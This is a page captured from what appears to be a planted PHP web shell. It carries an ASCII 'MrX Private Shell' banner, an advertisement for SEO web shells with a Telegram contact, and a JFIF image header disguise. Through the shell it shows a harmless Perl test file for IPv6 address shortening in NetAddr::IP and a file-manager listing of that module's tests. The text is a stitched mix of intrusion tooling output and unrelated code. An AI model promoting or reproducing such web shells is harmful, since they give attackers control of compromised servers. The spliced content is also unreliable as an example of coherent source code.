����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use Test::More;
# $Id: short.t,v 1.1.1.1 2006/08/14 15:36:06 lem Exp $
my %cases = qw(
127.1 127.0.0.1
127.0.1.1 127.0.1.1
127.1.0.1 127.1.0.1
DEAD:BEEF::1 dead:beef::1
::1 0:0::1
2001:620:600::1 2001:620:600::1
2001:620:600:0:1::1 2001:620:600:0:1::1
2001:620:601:0:1::1 2001:620:601::1:0:0:1
0:0:33:44::CC:DD 0:0:33:44:0:0:CC:DD
0:0:33:44::DD 0:0:33:44:0:0:0:DD
0:0:33:44:AA:: 0:0:33:44:AA:0:0:0
0:0:33::BB:0:0 0:0:33:0:0:BB:0:0
0:22:33:44:0:BB:CC:0 0:22:33:44:0:BB:CC:0
0:22:33:44:0:BB:CC:DD 0:22:33:44:0:BB:CC:DD
0:22:33:44:AA:BB:CC:0 0:22:33:44:AA:BB:CC:0
0:22:33:44:AA:BB:CC:DD 0:22:33:44:AA:BB:CC:DD
110:0:0:44:AA:: 110:0:0:44:AA:0:0:0
11:0:33:44:0:BB:CC:DD 11:0:33:44:0:BB:CC:DD
11:0:33:44:AA:BB:CC:DD 11:0:33:44:AA:BB:CC:DD
11:22:0:44:AA::DD 11:22:0:44:AA:0:0:DD
11:22:33:0:AA:BB:CC:0 11:22:33:0:AA:BB:CC:0
11:22:33:44:AA:: 11:22:33:44:AA:0:0:0
11:22::CC:DD 11:22:0:0:0:0:CC:DD
11::44:AA:0:0:DD 11:0:0:44:AA:0:0:DD
11::44:AA:BB:0:0 11:0:0:44:AA:BB:0:0
11::AA:0:0:DD 11:0:0:0:AA:0:0:DD
11::AA:BB:0:0 11:0:0:0:AA:BB:0:0
1:: 1:0:0:0:0:0:0:0
:: 0:0:0:0:0:0:0:0
::33:44:AA:BB:0:0 0:0:33:44:AA:BB:0:0
::44:0:0:CC:DD 0:0:0:44:0:0:CC:DD
::44:AA:BB:0:0 0:0:0:44:AA:BB:0:0
::44:AA:BB:CC:DD 0:0:0:44:AA:BB:CC:DD
::A 0:0:0:0:0:0:0:A
);
my $tests = 2 * keys %cases;
plan tests => 1 + $tests;
SKIP: {
use_ok('NetAddr::IP') or skip "Failed to load NetAddr::IP", $tests;
for my $c (sort keys %cases)
{
my $ip = new NetAddr::IP $cases{$c};
isa_ok($ip, 'NetAddr::IP', "$cases{$c}");
my $short = uc $ip->short;
unless (is($short, $c, "short($cases{$c}) returns $short"))
{
diag "ip=$ip";
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| canon.t | File | 480 B | 0644 |
|
| constants.t | File | 488 B | 0644 |
|
| full.t | File | 721 B | 0644 |
|
| full6-uri.t | File | 727 B | 0644 |
|
| full6.t | File | 721 B | 0644 |
|
| imhoff.t | File | 873 B | 0644 |
|
| loops.t | File | 647 B | 0644 |
|
| lower.t | File | 220 B | 0644 |
|
| masklen.t | File | 345 B | 0644 |
|
| new-store.t | File | 812 B | 0644 |
|
| nofqdn.t | File | 437 B | 0644 |
|
| old-store.t | File | 841 B | 0644 |
|
| over-arr.t | File | 500 B | 0644 |
|
| over-qq.t | File | 800 B | 0644 |
|
| relops.t | File | 1.53 KB | 0644 |
|
| rfc3021.t | File | 627 B | 0644 |
|
| short.t | File | 1.7 KB | 0644 |
|
| splitref.t | File | 749 B | 0644 |
|
| v4-coalesce.t | File | 1.47 KB | 0644 |
|
| v4-compact.t | File | 2.18 KB | 0644 |
|
| v4-compplus.t | File | 531 B | 0644 |
|
| v4-hostenum.t | File | 1.02 KB | 0644 |
|
| v4-re.t | File | 826 B | 0644 |
|
| v4-split-bulk.t | File | 547 B | 0644 |
|
| v4-split-list.t | File | 1.17 KB | 0644 |
|
| v4-splitplan.t | File | 2.23 KB | 0644 |
|
| v4-sprefix.t | File | 779 B | 0644 |
|
| v4-xprefix.t | File | 773 B | 0644 |
|
| v6-re.t | File | 1.42 KB | 0644 |
|
| v6-split-bulk.t | File | 513 B | 0644 |
|
| v6-splitplan.t | File | 2.35 KB | 0644 |
|
| wildcard.t | File | 546 B | 0644 |
|